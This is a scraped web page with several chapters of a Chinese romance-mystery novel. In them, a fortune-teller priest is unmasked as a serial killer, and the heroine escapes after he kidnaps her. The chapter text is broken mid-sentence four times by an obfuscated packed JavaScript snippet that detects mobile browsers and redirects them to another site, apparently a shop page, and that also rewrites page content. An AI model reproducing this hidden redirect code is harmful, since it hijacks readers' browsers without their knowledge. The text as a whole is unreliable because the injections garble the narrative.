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他的这番话被陆怀袖一字不落听在耳中,她心中顿时明白了这是怎么一回事——原来那个姑娘是来搬救兵的,怪不得一副风尘仆仆的模样,显然是赶了很久的路,衣裙上还沾染着不少灰尘和杂草。 两人之间显然不是她想的那种关系,弄明白事情的原委后,她心中一块大石悄然落地,如释重负般呼出一口气。 过得片刻,她定定地看向薛矜,冲着他展颜一笑,真情实意地说道:“你的那位朋友对你来说一定很重要,不然你也不会不远千里去救他。” 闻听此言,薛矜嘴角抽了抽,满是嫌弃地开口道:“他只是我没什么用的小弟罢了。” 陆怀袖面上没有反驳,心里却是暗笑一声,这个口是心非的家伙。经过这些天的相处,她已知晓少年是个极度冷漠的人,于己无关的人死在他面前他也不会多看一眼,能让他主动出手相救的,绝不是什么可以随手丢弃的垃圾。 想到这里,她抬眸注视着少年的双眼,一字一句地说道:“那你快去快回,我在这里等你。”这句话被她重重地说了出来,语气十分的铿锵有力。 薛矜迎上少女的视线,和她四目相对,轻笑一声道:“你放心好了,我不是不守信的人,答应了的事就一定会做到。” 陆怀袖双眼亮晶晶地看着少年,那双眸子清澈得没有一丝杂质,倒映出他的身影,“我相信你。” 一切都交代完毕,没有必要多说了。薛矜转身离开,宽大的袍袖被夜风吹得鼓鼓囊囊,他没有回头,朝身后挥了挥手权当告别。 陆怀袖站在门口目送少年离去,他一路不回头地走出她的视线,远去的背影潇洒无比。一阵风卷起落叶停在他的脚边,他也没有低头去看,而是大步流星地继续往前走。 这世间大概也没什么东西能让他停下脚步了吧。看着看着,她脑海里忽然冒出这么一个念头来。 39. 摆摊 薛矜走后,陆怀袖着实闲得无聊,便陪水玲珑做起胭脂水粉来。据对方说,她想自食其力凭本事挣钱,而她在解语楼当花魁的那些年里,用的那些胭脂水粉都是自己做的,别人用了也都赞不绝口,也许这可以作为一种谋生手段。 于是乎,在接下来的时间里,陆怀袖就同她一起制作胭脂,两人打算做好一批就拿去街上摆摊售卖,销量好的话,就证明这条路子是可行的。 而就在昨日,那个臭名昭著的采花贼鬼影子被拉到菜市口斩首了,围观的群众无一不拍手叫好。自他死后,曲州城上到八十,下到十八的姑娘终于敢大大方方的出门了。陆水二女估摸着此时正是出摊的好时机,这日清晨时分,天刚蒙蒙亮,两人便带着做好的第一批胭脂水粉来到东街,在一棵大柳树下摆起摊来。 瑰丽的朝阳冉冉升起,清晨里的冷冽渐渐散去,取而代之的是透过柳叶缝隙撒下来的晨曦的温暖。街上行人渐渐多了起来,在两人身边不断穿梭,时不时有人驻足打量她们的摊子。 两人期待着第一位客人的到来,偏偏事与愿违,客人没有等到,倒是等来了三个不速之客。那些本想上前问价的姑娘见到他们,都打起了退堂鼓,只敢站在一旁观望。 三个长得奇形怪状的地痞流氓不要脸的凑了过来,为首的那个装模作样地拿起一盒胭脂,又是看,又是闻,还对着表情瞬间变得十分难看的陆水二女调笑道:“两位小娘子,我一见到你们,身子都酥麻了半边。这样吧,你们的胭脂我全买了,然后你们俩陪我们仨一晚,共度良宵。” 这话不是询问,他并没有征求她们意见的意思,那语气明摆着说,她们答应也得答应,不答应也得答应。陆水二女对视一眼,从彼此眼中看到了一样的厌恶,这些人居然敢在大庭广众之下调戏良家女子,简直无法无天,横行霸道。 陆怀袖收敛了脸上的怒容,清清嗓子说道:“我二人皆是正经的商贩,不做那皮肉生意。我劝你们趁早打消这个念头,不要妨碍到别的客人。” 她说话掷地有声,那个流氓头子闻言却是撇了撇嘴,哼笑一声道:“什么正经商贩,哪个好人家的姑娘会出来抛头露面,还打扮得花枝招展,分明就是想勾引男人。” 他这般信口雌黄颠倒黑白,着实把陆水二女气得不轻,两人几乎全身都在发颤。过得片刻,水玲珑咬着牙,从牙齿缝中挤出一句话:“你们仨要是再不走,我们就只好报官了。” 谁知那人闻言非但没有害怕,反而仰天狂笑了起来,声音滚滚,直冲云霄,听在陆水二女耳中却是无比的刺耳。笑够之后,他对着气得脸色发青的两人说道:“你们尽管去报官,我要是怕了你们,就把我名字倒着写……” 他的话音刚一落地,突然间不远处传来一道声响:“是吗?你真的不怕?我秦无伤可不信。”这一声中气十足,声音在所有人耳边回荡,显然说话者是个习武之人。 陆水二女忽然听到声音,皆是齐齐望过去,映入眼帘的是一道高大健壮的身影——来人身穿官服,腰悬佩刀,显然是衙门里的捕快。 两人迅速交换了一个眼神,脸上的表情分明就是在说:看来是说曹操,曹操就到了。见他到场,她们腰板也跟着硬了起来,抱臂看着三壮士,丝毫不掩饰自己眼底的幸灾乐祸。 那几个地痞流氓显然认识这位秦捕快,还没等他走近就撒腿跑远了,再也没有了方才的嚣张气焰。他们那副抱头鼠窜的样子,倒是让陆怀袖想起了那群听到鸡鸣声就吓得逃之夭夭的恶鬼,两者如出一辙的滑稽。 秦无伤见三人不等他动手就跑没影了,从鼻息里不屑的哼出一声,随后慢步走到陆水二女的面前。不知怎的,面对这两位天仙似的姑娘,他倒不像先前那样神气了,反而不自然起来,连手都不知道该往哪放了。 水玲珑并没有把他的异样放在心上,抬眸望着他,感激道:“多谢秦捕快出手相助,不然我们可要被这几个恶贼占去便宜了。” 被她那双秋水般的眼眸盯着,秦无伤的面色肉眼可见地涨得通红。他的嘴角不自然地微微抿了一下,随后磕磕巴巴地说道:“不不不用谢,这是我的分内之事,也是应尽之责,两位姑娘没事就好没事就好……”说完他飞快地看了一眼她,然后跟被烫着了似的收回视线,面上红意更甚。 陆怀袖站在一旁,将他神情尽收眼底,心里跟明镜似的看破了一切,不禁暗自啧啧。事实上,她猜的没错,这位秦捕快的确倾心于水玲珑。 早在两年前,十五岁的水玲珑刚赢得花魁大选,一举当选新任花魁。按照解语楼的规矩,每一任花魁当选之日,都可以坐花车游街,让全城百姓一睹花魁的风采。 而就在她坐在花车上游街的那天,秦捕快正好便衣出行,还揪住了一个胆大妄为的小偷。他刚要将对方扭送到官府,忽然一顶轿子从他身旁经过,在即将与他擦身而过时,轿子上的纱帘被风吹起,露出了轿子中少女绝色的侧脸。 他只是惊鸿一瞥看到她,便对她一见钟情,自此魂牵梦萦再不能忘。 只是对方是艳名远扬的花魁,他只是一个小小的捕快,这份爱意也只能埋在心底,秘而不宣。几天前他听说对方被两位富家少爷赎了出来,他着实惊讶了许久,可更多的是替她开心。 如今被他奉为神明,不敢染指半分的心上人近在眼前,还跟他当面道谢,他只觉自己的心似乎都要跳出来了,双手已经不受控制的握成了拳头,手心里全是汗。 好不容易平复了心情,秦无伤右手握拳抵在唇边轻咳一声,随后一本正经地说道:“两位姑娘在外面还是要小心点,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦无伤将少女的小表情收入眼底,先是一愣,反应过来后脸红得像煮熟的虾子一样,说了声告辞后就离开了,甚至还因为步子迈得太急,而导致差点摔跤。 水玲珑见他走得这般匆忙,脸上露出一抹好奇之色,讶异道:“秦捕快怎么走得这么急,难道后面有凶兽追他吗?” 陆怀袖什么都知道,可她什么都不说,只是在心里默默地回了一句:“坠入爱河的人,也许就是这个样子吧。” 秦捕快刚走没多久,本来站在一旁围观的姑娘们便一拥而上,将她们的胭脂水粉摊围了个水泄不通。 因为陆水二女合力揪住了那名作恶多端的采花贼,替当地老百姓除了一大害,众女是打心底里感激她们,将她们做好的第一批胭脂抢了个空。 就这样,在半个时辰内,所有的胭脂都成功卖出。两人掂了掂钱袋的重量,听着里面银子发出的清脆撞击声,觉得自己从未如此满足过。 两人之前都是依仗他人生活的,如今自食其力,靠自己挣到了真正意义上的第一桶金,只觉得脊背都挺得直了。 她们互相击了一掌,脸上满是笑容,随后收摊回家,准备接下来的几天里都如此这般。 40. 算卦 天色渐晚,陆水二人摆完摊就回到了家中。因为今日摆摊取得了开门红,她们特地做了一顿丰盛的晚餐。美美饱餐一顿之后,两人一起去院子里散步消食。 夜色阑珊,清风徐徐,竹影婆娑,月影迷离。 就这样两人一边走一边聊天,聊着聊着,陆怀袖像是想到了什么似的感慨道:“那位秦捕快可真是个大大大好人啊,要不是他,我们今天可能就没那么顺利了。” 水玲珑十分认同地点点头,樱唇轻启,发出空灵悦耳的声音:“你说得对。”顿了顿,她又继续说了下去,语气中带着显而易见的困惑:“只是不知道为什么,他好像很怕我的样子。” 闻听此言,陆怀袖心中暗笑了一番,因为白日里还有外人在场,她不好说出心底里那些话,如今只有她二人,她索性直言不讳:“他可不是怕你,而是喜欢你,连我这个外人都看得出。” 这番话一字不落地落入水玲珑的耳中,她侧首看过去,见粉衣少女一脸揶揄的表情,一张俏脸顿时涨得通红,半晌才嗔怒道:“休得胡言!我连见都没见过他,他怎么会喜欢我。” 陆怀袖黑白分明的两只大眼睛转了转,一反平日里的文静模样,嘻嘻一笑道:“他怎么不会喜欢你。水姐姐何等天姿国色,任何男人见了皆会心动不已,保不齐他就是被你的美色冲昏了头脑,对你一见钟情了呗。” 水玲珑被她这样调侃着,脸上红意更甚。她知对方是故意拿秦捕快说事好寻自己开心,也起了促狭之心,想要戏弄少女一番。只听她装模作样地叹了口气,自顾自道:“谁说任何男人,你义兄就断然不会喜欢我。” 话题莫名其妙转到那个远在天边的少年身上,陆怀袖只觉得脑袋一片空白,原本想要说的话又咽回了肚子里,手指下意识地微微蜷起,颇不自在地低下了头:“怎么突然提起他来了……” 水玲珑将少女的慌张神色尽数收入眼中,露出个意料之中的得逞似的笑。片刻后她清了清嗓子,乘胜追击道:“他比起我,肯定更喜欢你。” 不知为何,她的话音刚一落下,陆怀袖的脸颊腾地绯红一片。少女低着头,好半天方才声如蚊蚋般嗫嚅了一句:“哪有哪有……你突然说起这个,未免也太过于奇怪了……” 水玲珑闻言先是意味不明地笑了下,不等少女回答,便双手扶住她的肩,深深地看着她的眼睛,一字一句地说道:“如果我没猜错的话,你应该是喜欢他的吧。”这话用的是陈述句而不是疑问句。 现在轮到陆怀袖哑口无言了。对方那双仿佛洞然一切的眼睛让她几乎是下意识地挪开视线,她咬了咬下唇,神色不自然地反驳道:“什么啊,我才没有喜欢他。”越说到后面声音越小,头也越垂越低。 她的话音刚刚落地,无言的寂静在两人之间蔓延开来,一时间,偌大的院子里只剩下风吹过树叶沙沙作响的声音。 对面很久没有声音传来,就在陆怀袖奇怪地抬起头来时,却见对方收敛了笑意,正好整以暇地看着自己,一脸“呵呵,你继续编,我就微笑着静静看着你”的表情。 就在那一瞬间,陆怀袖突然后悔提起了这个话题。她心中叫苦不迭,恨不得咬断自己的舌头。又过了许久许久,久到水玲珑以为对面的少女不会作出回答时,忽然听她轻声说道:“我可能大概也许或许有那么一点喜欢他吧。” 水玲珑听罢微微一笑,接着说道:“只是有一点吗?你对他的情意,连瞎子都能看得出来。” 陆怀袖初听此言,俏脸上的红晕顿时又更深了几分,随后不知道又想到什么,脸上的红晕尽数褪去,化作几分惆怅。过得半晌,少女幽幽地叹了一口气道:“再怎么喜欢也没用,我们之间是不可能的。” 两人相伴数月,她因为屡次受到少年的照拂,对他渐生情愫,自己也朦朦胧胧意识到了这点。可他们两个要想修成正果,实在太难太难。且不说她如今的处境,对方活脱脱一个断情绝爱,无心无情的人,他们之间怎么看都是她一厢情愿地单相思。 水玲珑似乎是看穿了她的想法,沉吟片刻后道:“你话不用说得这么死。这样吧,我们明天去街上找算命先生替你算算姻缘如何?” 在少女开口拒绝之前,她又笑着补充了一句:“那人是方圆百里广为流传的神算子,算卦灵验得很,胜过活神仙,找他求卦的人多如过江之鲫,我们不妨也去试试。” 陆怀袖听对方这般说,愣了一下,刚要说出口的拒绝被咽下。鬼使神差的,她点了点头。 * 第二天一早,两人刚用过早膳,水玲珑就带着陆怀袖马不停蹄地去到她所说的那个算命摊。简陋的摊位旁立着一面白底黑字的旗子,上面写着“一卦十文,童叟无欺”八个大字,旗帜在风中猎猎作响。 摊主是个看上去约摸四五十岁的中年道士,乌簪高髻,蓝袍白衣,一副仙风道骨的模样,让人一看就觉得是位得道高人。朝阳刚露脸没多久,但他那小摊子前已经聚集了不少人,其中不乏一些与陆水二女同龄的姑娘家。 眼见这个算命摊生意兴隆香火旺盛,陆怀袖对水玲珑昨晚的说辞便信了几分,又站在一旁,听那老道算得有模有样,说得头头是道,更是从心底打消了对他的质疑,相信对方不是什么江湖骗子。 从旁人的交谈中,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273387|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概得知这位道长道号灵虚子,据说他占卜算卦百灵百验,人送外号未卜先知老神仙。 大概过了一盏茶的功夫,前面排着的人问得也差不多,尽皆散去了,陆水二女交换了一个眼神,看准时机挤上前去,在算命摊前坐下。与那位方圆几百里最有名望的算命先生面对面之后,水玲珑抢先一步说道:“灵虚道长,我身旁的这位朋友想算算自己的姻缘,麻烦您给瞧瞧。” 灵虚子闻听此言,将视线投向那位大约十五六岁的粉衣女子,晨曦洒在她的面容之上,莹白似玉,颜若桃花。他不动声色地将少女打量了一番,随后象征性地咳嗽了两声,缓缓开口道:“麻烦姑娘将自己的名讳和八字写在纸上,然后递给贫道。” 他的话音刚一落下,陆怀袖便铺纸提笔,在纸上写下娟秀的字迹,随后搁下笔,将写着自己名讳和八字的纸条递了过去。 灵虚子接过她递来的纸张,定睛一看,瞳孔微微放大。他这一看不知道看了多久,久到陆怀袖都以为自己是什么“天煞孤星”的命格了。实在是等不及了,少女刻意地咳嗽了两声,随即拔高了声音道:“敢问道长,小女子的姻缘究竟如何?还请您能告诉我一声。” 这句话瞬间将道人拉回现实中,他回过神来,将那张纸条揉成一团握在手中,手指用力到骨节发白。掐算片刻之后,他小心斟酌了一番字词,随后轻声道:“姑娘这姻缘啊,贫道我看出了十个字,现在就告知于你。” 此话一出,陆水二女皆是紧张得心脏都快跳出嗓子眼来——陆怀袖是心系自己的姻缘,水玲珑则是好奇对方到底能说出个什么来。 在两人急切的目光中,灵虚子缓缓吐出一句话:“那就是——明知山有虎,偏向虎山行。” 明知山有虎,偏向虎山行。 这句话在陆怀袖的舌尖上辗转,她还来不及深思,便听那道士继续说道:“恕贫道直言,姑娘此生情路注定坎坷,感情不顺,乃是命中注定。只是路阻且长,行则将至,姑娘若是一条路走到黑,不打算回头,几经波折后必能与你的真命天子修成正果。”顿了顿,他又继续说道:“天机不可泄露,贫道言尽于此。” 这番话听在陆怀袖耳中,顿时使她心绪难平。她想起自己这段时间的经历,以及单相思的对象,似懂非懂地点了点头。 默默在心里将这番话记下了,少女向对方道了谢,随后拍拍裙子起身,同付完钱的水玲珑一道离开此地。 自两人走后,灵虚子无视凑上来问卦的人,眼睛一眨不眨地望着她们离去的背影,握着那张纸条的手松了松,然后再度握紧,那细微的抖动泄露了他此时内心的兴奋。 41. 变故 这日天光明媚,本该是个风平浪静的好日子,却发生了一件令人心绪难平的事情——这一天,天刚蒙蒙亮,就有位行脚商人上官府报案,说在城南郊外发现了一具无名女尸,而这位可怜的姑娘与先前那些遭到采花贼毒手的受害者死状一般无二,甚至尸体旁边还被挑衅似的放了一枝刚折下的桃花。 那花开得绚烂,放在死状凄惨的少女身旁,却显得瘆人无比。 众所周知,那个臭名昭著的采花大盗鬼影子早在三日前就在菜市口被当众处决,有不少人亲眼见到刽子手手起刀落,他的头颅随之落到了地上,鲜血也溅了一地。而现在又发生了一起命案,作案手法可以说的上是完全复刻,难不成人死还能复生? 曾亲眼见证过鬼影子死亡的曲州城百姓在命案发生之后,一致认定采花大盗另有他人,死去的那位或许死得不冤,却也替真正的凶手背了锅。而他们明白得实在是太晚了,这才让那位真正的凶徒再度得手。 在这一骇人听闻的凶杀案发生之后,曲州城里人人自危,姑娘们好不容易得了几日自由,又不得不锁在深闺里。 陆水二女自然也不例外。 她们一早就从街坊邻里口中得知此事,吓得打消了出摊的念头,呆在家里不敢出门。而就在她们食不知味的吃完午饭后,一阵急促的敲门声不合时宜的响起。 敲门声越来越响,两人迅速交换了一个眼神,顾不得收拾碗筷,齐齐向大门处走去。陆怀袖先一步打开门,映入眼帘的正是那日替她二人出头的捕快秦无伤。 此时的他衣衫凌乱,额头上还沁出了一层薄汗,一副风尘仆仆的模样,显然是马不停蹄赶到这里的。甫一见到陆水二女,他也不多废话,直接开门见山地说道:“两位姑娘可曾听说今早城南郊外发生的那起命案?” 虽然早有预感,但听到他真的说出此事的这一刻,陆水二女还是脸色一变。在对方焦急的目光中,她们心情沉重地点了点头。 一阵沉默后便是一声叹息,秦无伤眉头紧皱,面沉如水:“一波刚平一波又起,没想到今日又出现了一模一样的凶杀案,想来这几年猖獗作案的采花大盗另有其人。”说到这里他刻意顿了顿,紧接着又补充道:“不过你们也没有抓错人,那名跑堂的的确确就是鬼影子。只是以现在的局面来看,很可能有人假借他的名义四处作案,以此来转移官府的注意力。” 此话一出,陆水二女的面色愈发凝重起来。陆怀袖曾听街坊邻里提到过,城南郊外那位受害人正值二八佳年,不久前还定了一门亲事,却在出嫁前夕惨遭毒手,香消玉殒。想到这些,她不由得心中恻然,却又无可奈何。 就在这时,秦无伤粗重浑厚的声音又在她的耳畔响起,将她拉回现实中:“两位姑娘这些天里千万要小心。自从推断出凶手可能另有其人后,在下把相关案件的卷宗放在一起查阅,将这些死者的背景和生前近五年的情况都打探清楚了,最终发现她们都有一个共同点——” 说到此处,他迎上两人好奇的目光,特地加重了语气,一字一句地说道:“在下发现每位受害人皆是出生于阴年阴月阴日阴时,换而言之,她们都是纯阴女,那贼人下手的对象无一不是如此。” 随着他的话音落地,陆水二女陷入了长久的沉默。水玲珑没来由地想起那日秦捕快所说的,这采花贼下手不分老幼美丑,且对官府特地设下的陷阱理都不理,原来他自有一套选人标准,而那些遇害的女子居然都是因为罕见的八字失去性命的,这真相着实荒谬到让她一时难以接受。 陆怀袖则是因为其他的原因缄默不语——很不幸的是,她就是一位阴年阴月阴日阴时出生的纯阴女,而这就意味着她很有可能成为凶手的下一个攻击目标。思及此,她唇色有些苍白,藏在袖中的手微微颤抖。 只可惜她身旁的两人并没看出她的异样。秦无伤的目光在她二人身上转了一圈,随后郑重其事地说道:“虽然我也不确定真相是否如我所言,但两位姑娘这些天里务必小心为上,你们之中如果有纯阴命格的,在真凶落网之前一定不要出门,千万要保护好自己。” 迎着他关切的目光,陆水二女点头嗯了一声,神色看上去无比认真。 * 入夜时分,陆怀袖与水玲珑分别,进了自己的屋子,歪着身子在窗边一张小几旁坐下。推开那扇雕花木窗,托腮看着窗外的夜景,白日里的种种浮上心头,少女的叹息声一声接着一声传出。 万籁俱寂的夜里,她轻轻抬头,望向挂在半空的那轮皎月,凉凉的夜风拂面而来,吹起了她耳边的几缕发丝,在烛光的映照下,整个人艳若桃花,姣若明月。 看着头顶的明月,陆怀袖莫名想到了远方的少年,不知道他那边现在怎么样了,知道了这边的传闻又会作何感想。如果他还在自己身边,此时此刻的自己决不会稍微有点风吹草动就成了惊弓之鸟。 对于陆怀袖来说,那个性格恶劣喜欢捉弄人还装无辜的大坏蛋,俨然就是她的保护神。 如今保护神远去,某个逍遥法外多年的贼人就像是潜伏在暗处的毒蛇,窥伺着她的一举一动,不知道什么时候就会吐出蛇信子。这种随时都有可能被袭击的感觉,犹如附骨之疽般缠上了她,叫她寝食难安。 右眼皮忽然毫无预兆地跳了一下,陆怀袖还没来得及抓住这种异样的感觉,下一刻便听到一阵细碎的脚步声。她循声望过去,只见窗外有一道影子一闪而过,朝门外走去,看样子是要外出了。从她的视线看过去,只能看到对方的背影,不过那人身段曼妙绰约,不是水玲珑又是谁? 只是对方不久前才同她分别,进了各自的屋子,怎的又心血来潮想出门了? 白日里秦捕快的千叮咛万嘱咐言犹在耳,如今外头危机四伏,一个独身女子深夜外出无异于羊入虎口,陆怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273388|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袖想到这一点,忍不住拔高了声音急切呼唤道:“水姐姐,你这么晚出门作甚——” 只是这话一出来就像是落入大海的石头,毫无波澜,水玲珑并未搭理她,依然自顾自往外走去,全然将她的话当耳旁风。 陆怀袖见状,也顾不得秦捕快“从今天起,坚决不要出门”的叮嘱了,身体比大脑先一步行动,大步迈开,推开屋门就往外走,想要追上水玲珑将她拦住,只是—— 对方若执意要出门,那自己就和她结伙搭伴,多一个人也多一份安全。 她在心里暗暗地打定了主意,使出生平最快的速度,向着水玲珑一路小跑着追了过去,边追还边喊道:“水姐姐水姐姐,你等等我啊——”只是不知为何,对方依旧不管不顾地往前走,对周围的声音充耳不闻,仿佛外界的一切都被她隔绝了。 陆怀袖有些心累地叹了口气,但她怕对方出事,也只能紧跟着对方不放。她跟着水玲珑出了门,两人在七拐八弯后走进了一个僻静的小巷道里。 再往里就进不去了,她紧紧跟随着的对象终于停下了脚步,不再朝前走去。 陆怀袖见状,也不再往前走,她气喘吁吁地一路小跑,早已是累得很了,趁着这会得空,便用手撑在膝盖上大口喘息着。她一边喘一边在心中暗自腹诽道,水姐姐看上去一个弱柳扶风的娇弱美人,没想到走起来让她跑着也追不上,真是人不可貌相啊。 就在她气都还没喘匀,双手兀自撑在膝盖上时,前方的水玲珑忽然毫无预兆地转过了身子,留给她的不再是一道背影。 少女直起身子,借着月光死死地盯着眼前突然转过来的水玲珑,满脸写着不可置信。 那个人很像水玲珑,但又不是水玲珑。更确切的说,它甚至不能用“人”这个字来形容。在清冷月辉的映照下,它的脸色惨白到吓人,像是在水里泡了十多天似的,半点血色也无,分布在脸庞两边的鲜艳红晕更为它增添了几分非人感。 下一刻,就在陆怀袖的注视下,它的身子慢慢瘪了下来,直到变成一张薄如蝉翼的纸片。一阵风迎面吹来,将那张纸片卷起,它打着旋悄然飘落在少女的脚边。 陆怀袖将这诡异的一幕尽收眼底,忍不住垂下眼帘,正好与纸人对上视线,它那双画在惨白脸盘上的血红眼睛,直勾勾地看着少女。一种不祥的预感顿时涌上她的心头,那感觉就好像有一条毒蛇顺着她的后背爬上来。 而就在少女被眼前这一切攥住心神之际,危机已悄然来临。一道诡异的黑影悄无声息地出现在她的身后,趁她不备时,用沾有迷药的手帕捂住了她的口鼻。 陆怀袖被这突然的袭击搞了个措手不及,她只觉自己的身体霎时间就变得软弱无力,轻飘飘得似乎已经不属于自己了。她甚至都没有多余的力气去挣扎,就失去了所有的意识。 彻底陷入黑暗前她只剩下一个念头——吾命休矣。 42. 妖道 陆怀袖醒来的时候发现自己正躺在一处洞穴之中,全身酸软无力,十分虚弱。刚醒来的她头脑一片昏沉,但还是敏锐地意识到了自己现在的处境有多危险。她咬紧牙关极力克制内心的恐惧,向四周扫视了一圈,没有发现什么人。 就在少女慢慢从地上爬起来,想要伺机逃跑时,她看见一道熟悉的身影正朝她所在的方向缓缓走来。看到来人的那一刹那,她诧异地瞪大了双眼,耳边似有嗡鸣的声音传来。 此人竟是那日给她算了一卦的道士灵虚子。 灵虚子见她终于醒来,啧啧了两声:“你总算是醒了,贫道可不想对一个昏迷中的姑娘作出那种事。”语气轻飘飘的,调笑意味十足。他边说边用让人浑身不适的目光在少女身上流连,丝毫不掩饰对她的觊觎。只是那目光中,并不仅有男人看女人的欣赏,更多的是老人看年轻人的艳羡。 到了此时此刻,陆怀袖哪里还不清楚这一切到底是怎么回事,必定是这老道假借鬼影子的名头行采花之事,之后又用妖术引自己上钩,迷晕自己后再将自己带到了这山洞之中。 老道一身平整、干净得一尘不染的蓝袍,一张深邃儒雅的面庞,任谁看了都要夸一句仙风道骨,但陆怀袖看着这张脸只觉得无比恶心,多看一眼都是脏了眼睛。 不过为了拖延时间,替自己争取一线生机,她还是克制住自己想要呕吐的欲望,让自己尽可能的镇定下来,对上了老道那不怀好意的目光,向他发起了质问:“你一个得道高人,世上有那么多人对你敬若神明,你何苦铤而走险做这种见不得光的事?” 灵虚子被她一顿抢白,却也不恼,他慢条斯理地整了整身上的道袍,随后悠悠开口道:“见不得光又如何,只要我能修得长生大道,那这一切都不算什么。” “长生大道?”陆怀袖的耳朵敏锐地捕捉到这个关键词,她联想到之前秦捕快所说的那番话,这人专挑八字纯阴的女子下手,脑海里忽然像是划过了一道闪电一般,所有的线索都串联在了一起——也许此人并非一个纯粹的好色之徒,他四处采花只是为了修炼邪术。 伴随这个念头浮现在心中,她再也无法淡定,想都没想就脱口而出道:“所以你这几年四处作案,只是因为那些女子能助你修行。”她这一句话说出来语气笃定,用的是陈述句而不是疑问句。 灵虚子惊讶地看着这个十五岁的少女,没想到她居然能猜出真相,真是令他佩服。他满意地笑了笑,看向对方的目光多了几分欣赏。定定地看了陆怀袖好一会儿,直到把她看得浑身鸡皮疙瘩都起来了,他这才收回了目光,点头微笑道:“你说得没错,我的确是出于这种目的才做出这种事情的,并不只是好色而已。” 听他亲口承认此事,陆怀袖咽了咽口水,只觉得眼前的道人更加可怕了。他这些年来在街头替人算命,怕也只是为了寻找合适的目标,自己也是因为求他算了姻缘才着了他的道。这般处心积虑,只为了走捷径修邪术,修道之人作出此等龌龊之事,所谓妖道也不过如此了。 她那瑟瑟发抖的可怜模样似乎是取悦到了道人,他颇为自得地看着落入到自己手中的猎物,如闲谈般含笑道:“两年前贫道云游到此地,意外发现了这处山洞,洞里面竟有一堆枯骨,枯骨旁还放着一本秘籍。” “贫道打开一看,当场就傻了眼。书上记载着一门秘术,这门秘术若能修炼成功,便能让人延年益寿,甚至是永葆青春。只是这门秘术极为邪门,需要吸取四十九个阴年阴月阴日阴时出生的纯阴女的元阴,方能修炼成功。贫道自然不会入宝山而空手归,所以这两年走遍天下替人算卦,为的就是找到这些女子,伺机夺取她们的元阴。” 他之所以将这段往事原原本本告知于少女,并非出于善心,正所谓“富贵不归故乡,如衣锦夜行”,如果他成功的契机无人知晓,那得胜的喜悦也会少去一半。所以古往今来许多赢家在大功告成之际,总爱在他们的手下败将面前废话连篇,也是出于这种原因。 这番话一字不落地落入了陆怀袖耳中,她很想怒斥对方毫无人性,但她知道骂声对这种人的影响甚微,索性将那些话咽回肚里,大脑飞速运转,努力寻找着脱困之法。 但灵虚子仿佛看穿了她的心思一般,狞笑一声道:“陆小姐在想什么,贫道都知道。我劝你放弃挣扎,你可是我的第四十九个猎物,只要夺取了你的元阴,贫道我就能长生不老了。除非我死了,否则我是不会放你离开的。” 第四十九个?那这就意味着——陆怀袖抬眸怒视着他,全身的气血都刹那间涌了上来:“你害了这么多人的性命,就不怕遭到报应么?” 灵虚子不以为意地笑了笑,丝毫不把她的怒火放在眼里:“哼,妇人之仁,怕这怕那的还怎么做的成大事。江湖中追求长生者如过江之鲫,却无一人得偿所愿。等我成了这天下第一人,还有谁奈何的了我?” 说罢,老道的目光再度投向了陆怀袖,上上下下打量了少女一番后,他感觉浑身都在燥热,不自觉地舔了舔嘴唇:“该说不说,陆小姐的确是这四十九个人里最漂亮的那个,能与你共赴巫山,也是贫道的荣幸。”他说着,向角落里的少女一步步逼近,看向她的眼神,简直就像是饿狼发现了一只美味可口的小羊羔,哪里还有半分得道高人的模样? 陆怀袖用脚趾头想都能猜到接下来会发生什么,她脸色微僵,强迫自己镇定下来。就在这时,那日桃花林里薛矜教给她的保命三招适时浮现在她的脑海中。她悄悄地打定了主意,装出一副羸弱害怕的模样,手里却偷偷抓了一把沙子。 灵虚子走到少女的面前站定,居高临下地打量着她,刚想说些轻薄戏侮之辞,眼前忽然被洒了一把沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273389|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,视线瞬间被蒙蔽。 他猝不及防中了招,一时惊慌失措,下一刻,两根白皙如玉的手指准确无误地戳向他的眼睛。他脸色大变,心中暗叫不好,赶紧伸手护住双眼,却不料裆部被狠狠踹了一脚,痛得他顿时闷哼一声,像煮熟的虾米一样弯下了腰。 人在危急的关头往往能激发无限的潜力,一击得手后,陆怀袖并没有半点的停留,而是玩命地起身向洞口跑去。她努力抑制住胸膛里好像擂鼓一样的心跳,跑出了生平最快的速度,当初从残忍的四凶徒手中逃命也没见她这么快过。 